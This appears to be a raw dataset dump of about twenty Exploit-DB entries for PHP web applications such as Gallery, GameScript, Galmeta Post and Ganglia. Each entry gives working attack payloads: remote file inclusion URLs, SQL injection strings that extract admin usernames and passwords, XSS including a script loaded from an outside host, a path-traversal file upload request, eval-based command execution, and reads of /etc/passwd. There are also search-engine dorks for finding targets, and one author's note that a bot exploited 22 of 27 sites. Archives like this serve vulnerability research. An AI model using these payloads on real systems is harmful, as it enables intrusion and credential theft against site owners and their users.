deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10705
Description: Gallery 2.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Gallery V 2.3 RFI Vulnerability                                         |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Gallery V 2.3  -  http://gallery.sourceforge.net/                       |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/gallery2/upgrade/index.php?className=[EV!L]
| 2- http://server/gallery2/lib/adodb/adodb-error.inc.php?ADODB_LANG=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #7829
Description: Gallery Kys 1.0 - Admin Password Disclosure / Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-01-19
Author: Osirys

Exploit:
[START]

#########################################################################################
[0x01] Informations:

Script         : Gallery Kys 1.0
Download       : http://www.advancescripts.com/djump.php?ID=6285
Vulnerability  : Admin Password Disclosure / Permanent XSS
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org

#########################################################################################
[0x02] Bug: [Admin Password Disclosure]
######

Bugged file is: /[path]/config.inc

[CODE]

<?
$adpass="admin"; //change admin to your password of choice
?>

[/CODE]

Just going at this path you will get Administrator's password.

[!] FIX: Don't allow direct access to this file and change it's extension with .php


[!] EXPLOIT: /[path]/config.inc
             $adpass="admin_pwd";

#########################################################################################
[0x03] Bug: [Permanent XSS]
######

Bugged file is: /[path]/uploadform.php

[CODE]

$fp =fopen($file, "w+");
$name=stripslashes($name);
$des=stripslashes($des);
$code=stripslashes($code);
$author=stripslashes($author);
$w ="name=".$name."&price=".$price."&code=".$code."&des=".$des."&author=".$author."&mail=".$mail."&date=".$date."&web=".$web;

[/CODE]

Once we got Administrator's password, we are able to log in.

Login at this path: /[path]/admin.php

Then just go at this path: /[path]/uploadform.php

Fill the forms, and put in description form the following code:

<script>alert("XSS")</script>

After this action, data that we typed in the upload form, will be saved on .txt files.
In index.php source code, we can see that the script opens the .txt files, and prints
it's values directly in html code. 


[!] FIX: Filter variables before printing them in the html code.
         preg_math the < > " chars. Filter illegal chars.

#########################################################################################

[/END]

# milw0rm.com [2009-01-19]
Exploit-DB #38511
Description: Gallery Server Pro - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-05-14
Author: Drew Calcott

Exploit:
source: https://www.securityfocus.com/bid/59831/info

Gallery Server Pro is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Gallery Server Pro 2.6.1 and prior are vulnerable. 

*********************************************************************
POST /gallery/gs/handler/upload.ashx?aid=2 HTTP/1.1
Host: <vulnerablesite>
Referer:
http://www.example.com/gallery/default.aspx?g=task_addobjects&aid=2
Content-Length: 73459
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED]4
Cookie: <VALID COOKIE DATA>
Pragma: no-cache
Cache-Control: no-cache

----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="name"

..\..\gs\mediaobjects\Samples\malicious.aspx
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="file"; filename="malicious.jpg"
Content-Type: application/octet-stream

Malicious code here.

----------------------------[PII_REDACTED]4--
*********************************************************************

The uploaded file will then be available on the affected server at:
http://www.example.com/gallery/gs/mediaobjects/Samples/malicious.aspx
Exploit-DB #12488
Description: Gallo 0.1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-03
Author: cr4wl3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |    Gallo 0.1.0 Remote File Include Vulnerability   |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Homepage: http://h4ckb0x.org/
[!] Download Script: http://sourceforge.net/projects/gallo/
[!] Remote: yes

[!] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id
[!] Thanks to: str0ke, opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
           EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
           SENOT, devilbat, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[!] Code [gfw_smarty.php]:

<?php
/**
 * @filename index.php
 * @author Carlos Eduardo Sotelo Pinto
 * @date 2009-01-08
 */
include ($config['gfwroot'] . 'libs/smarty/Smarty.class.php');
class GfwSmarty extends Smarty {
	function GfwSmarty () {
		global $config;
		$this->Smarty();

		$this->template_dir  = $config['approot'] . 'sites/main/templates/';
		$this->compile_dir   = $config['approot'] . 'compiles/';
		$this->config_dir    = $config['approot'] . 'configs/';
		$this->cache_dir     = $config['approot'] . 'cache/';
		$this->compile_check = $config['compile'];
		$this->force_compile = $config['compile'];
		$this->caching       = $config['caching'];
		$this->assign('app_name', 'Maps');
	}
}
?>

[!] PoC:

[x] [Gallo_path]/core/includes/gfw_smarty.php?config[gfwroot]=[Shell]
Exploit-DB #30737
Description: Galmeta Post 0.2 - 'Upload_Config.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-05
Author: arfis project

Exploit:
source: https://www.securityfocus.com/bid/26329/info

Galmeta Post is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Galmeta Post 0.2 is vulnerable; other versions may also be affected. 

http://www.example.comtmp/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=[shell]
Exploit-DB #6541
Description: Galmeta Post CMS 0.2 - Remote Code Execution / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-23
Author: GoLd_M

Exploit:
###################################################################################
## Galmeta Post CMS <= 0.2 Remote Code Execution / Arbitrary File Upload
## Script : http://downloads.sourceforge.net/galmetapost
## You Can Get Multiple Local File Inclusion Vulnerabilities To This Script 
## From Here http://www.milw0rm.com/exploits/5944 By CWH Underground
###################################################################################
###################################################################################
###################################################################################
## Vulns & POC :
##  1- Remote Code Execution Vulnerability In \_lib\adodb_lite\adodb-perf-module.inc.php
##  In Line 20 :
##  eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }');
##                    -----------------------------------
##  Ex : /_lib/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};passthru(ls);//
###################################################################################
###################################################################################
###################################################################################
##  2- (FCKeditor) Remote Arbitrary File Upload In \_lib\fckeditor\editor\filemanager\upload\test.html
##                    -----------------------------------
##  Ex : /_lib/fckeditor/editor/filemanager/upload/test.html
##  Restrict And Grant Only Trusted Users Access To The Resources.
###################################################################################

# milw0rm.com [2008-09-23]
Exploit-DB #31296
Description: Galore Simple Shop 3.1 - 'section' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27977/info

Simple Shop component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_simpleshop&Itemid=S@BUN&cmd=section&section=-000/**/union+select/**/000,111,222,concat(username,0x3a,password),0,concat(usernam
e,0x3a,password)/**/from/**/jos_users/*
Exploit-DB #27364
Description: Game-Panel 2.6 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-06
Author: Retard

Exploit:
source: https://www.securityfocus.com/bid/16979/info

Game-Panel is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/login.php?message=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
Exploit-DB #5555
Description: GameCMS Lite 1.0 - 'systemId' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-07
Author: InjEctOr5

Exploit:
                                                       w           w     w 
                                                        ||          ||   | ||        
                                                 o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                                                ( :   /    (_)    /           (   .  
                              |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
                              |     _                   __           __       __          ______     |
                              |   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
                              |  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
                              |  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
                              |     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
                              |      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
                              |       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
                              |                  \ \____/ >> Kings of injection                      |
                              |                   \/___/                                             |
                              |                                                                      |
                              |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

-Title :: gameCMS Lite Remote SQL Injection Vulnerability
-Author :: InjEctOr5
-discouvred by :: total - djekmani
-HoMe :: www.sb0x.com/forums

-Application :: gameCMS Lite 1.0
-Download :: http://rapidshare.com/files/27043814/gameCMS.rar
-Dork  :: Clear your Mind

-Greets :: Allah - InjEctOr5 TeaM - stack terrorist - coNan - Mr_linker - my love - and all my friends

-Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.

--------------------------------------------[C o n t e x t]-----------------------------------------

-ExplO!t : http://target/index.php?systemId=5'+union+select+1,2,concat_ws(0x3a3a,adminId,name,password,email,groupId),4,5+from+gamecms_admin/*

-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-07]
Exploit-DB #11398
Description: GameRoom Script - Authentication Bypass / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-11
Author: JIKO

Exploit:
  |=-----------------------------------------------------=|
  |=-------------=[  JIKO |No-exploit.Com|  ]=-----------=|
  |=-----------------------------------------------------=|
[~]-----------|00|
NAme    :JIKO (JAWAD)
Home    :No-exploit.Com
Mail    : !x!
[~]-----------|01|
    -{Script}
    name :GameRoom
    link :http://www.ezonescripts.com

[~]-----------|02|
    -{3xpl01t}
    Admin Not protect you can upload Shell
    shell.php.gif
    shell.php.swf
[~]-----------|03|
    -{Greetz}
    Cyber-Zone,HxH,Hussin X,sniper code,Stack,HiSoKa,The SadHacker,kasper,  SkuLL-HacKeR
    |No-Exploit.com Members
-------------------------------------
Exploit-DB #12198
Description: Games Script - 'Galore' Backup Dump
Type: webapps
Platform: php
Date: 2010-04-13
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Games Script (Galore) Backup Dump Vulnerability            
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                             
| # Script   : Copyright © 2008 GamesGalore.tld - [iAG] NULLED      
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Backup Dump                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- http://127.0.0.1/Games Script (Galore)/admincp/backup/
 
 2- http://127.0.0.1/Games Script (Galore)/admincp/ (2 Login)
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #11577
Description: GameScript 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-25
Author: FormatXformat

Exploit:
Author :  FormatXformat
Home : Tkurd.net

Script : http://www.gamescript.net
Vulnerabilities : SQL Injection


Dork:

Copyright © 2005 - 2006 GameScript.net. All Games Copyright © To Their Respective Owners. All Rights Reserved.



Exploit:

/index.php?action=category&id=-6+union+all+select+1,concat(username,0x3a,password),3+from+users--

Admin page: admincp



Demo :

http://server/index.php?action=category&id=-6+union+all+select+1,concat(username,0x3a,password),3+from+users--
Exploit-DB #7893
Description: gamescript 4.6 - Cross-Site Scripting / SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-28
Author: Encrypt3d.M!nd

Exploit:
GameScript 4.6 Multiple Vulnerabillities
(Earlier versions might be affected)

By : Encrypt3d.M!nd

Demo :www.gsdemo.com
just bored  :) 
There are other vulnerabillities i think

Iam Iraqian...Not Arabian
###################################################

Xss :

/games.php?search="<script>alert(666);</script>


Sql injection :

/page.php?page=viewprofile&user=-Encrypt3d'%20union%20select%201,2,username,4,5,password,7,8,9,10,11,12%20from%20users/*

Local File Include :

/page.php?page=file_to_include

# milw0rm.com [2009-01-28]
Exploit-DB #4159
Description: GameSiteScript 3.1 - profile id SQL Injection
Type: webapps
Platform: php
Date: 2007-07-07
Author: Xenduer77

Exploit:
###############################################
####### GameSiteScript (Profile)($id) SQL-Injection Exploit
###############################################
### Vulnerability Discovered By: Xenduer77
### ---July 7th, 2007
###############################################

{$id} Is passed straight to the query without being filtered.

###############################################
SQL-INJECTION:
###############################################

For Version 3.1:
-------
http://whatever.com/iindex.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0,0,0+from+members+where+id='1

Prior To 3.1:
-------
http://whatever.com/index.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0+from+members+where+id='1

###Tested by a bot on 27 sites, 22 were exploited.

###############################################

Dork: "Powered by GameSiteScript"

###############################################

# milw0rm.com [2007-07-07]
Exploit-DB #5374
Description: Gaming Directory 1.0 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-05
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    Gaming Directory 1.0 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 5 April 2008
SITE: http://www.turnkeyzone.com/
Google Dork: inurl:"directory.php?ax=list" gaming


DESCRIPTION: 
this popular gaming directory script is vulnerable due to insecure mysql querys.
this allows the remote attacker to pull info from the database.

The below Injection uses MYSQL's load_file function, since the admin area password is stored
in a config file we can use load_file to to try and locate it and display the contents of the file. 
certain permissons to the running db user is required for this to work. in the load_file below
is a string that has been converted to HEX and if you can read hex then its /etc/passwd so this
should load the /etc/passwd file on most linux distros. Remember certain permissions are needed.


EXPLOITS:
http://site.com/directory.php?ax=list&sub=6&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(0x2F6574632F[PII_REDACTED]64),4/**/FROM/**/links/*


NOTE/TIP: 
admin login is at /siteadmin/


GREETZ: milw0rm.com, H4CK-Y0u.org, CipherCrew!



--==+================================================================================+==--
--==+		    Gaming Directory 1.0 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05]
Exploit-DB #38030
Description: Ganglia Web Frontend < 3.5.1 - PHP Code Execution
Type: webapps
Platform: php
Date: 2015-08-31
Author: Andrei Costin

Exploit:
<?php
/*

################################################################################
#
# Author    : Andrei Costin (andrei theATsign firmware theDOTsign re)
# Desc      : CVE-2012-3448 PoC
# Details   : This PoC will create a dummy file in the /tmp folder and 
#             will copy /etc/passwd to /tmp.
#             To modify the attack payload, modify the code below.\
# Setup     : Ubuntu Linux 14.04 LTS x86 with Ganglia Web Frontend 3.5.0
#
################################################################################

1. Assuming that ganglia is installed on the target machine at this path:
/var/www/html/ganglia/

2. Assuming the attacker has minimal access to the target machine and 
can write to "/tmp". There are several methods where a remote attacker can 
also trigger daemons or other system processes to create files in "/tmp" 
whose content is (partially) controlled by the remote attacker. 

3. The attacker puts the contents of this PoC file into the file:
/tmp/attack.php

4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1 
as:
http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY

5. Confirm that the PoC created a dummy file in the /tmp folder and copied 
/etc/passwd to /tmp.

*/

eval('touch("/tmp/attacker.touch"); copy("/etc/passwd", "/tmp/attacker.passwd");');
die("Triggering CVE-2012-3448 attack.php");

?>
Exploit-DB #27982
Description: GANTTy 1.0.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-06
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18296/info

GANTTy is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?action=login&message=<IMG SRC=javascript:alert(&#039;XSS&#039;)>+email&lang=